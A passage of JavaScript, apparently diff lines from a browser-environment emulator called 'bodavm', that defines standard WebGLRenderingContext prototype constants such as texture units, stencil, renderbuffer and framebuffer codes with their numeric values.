writable:false, value:34818},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061},'prototype'); 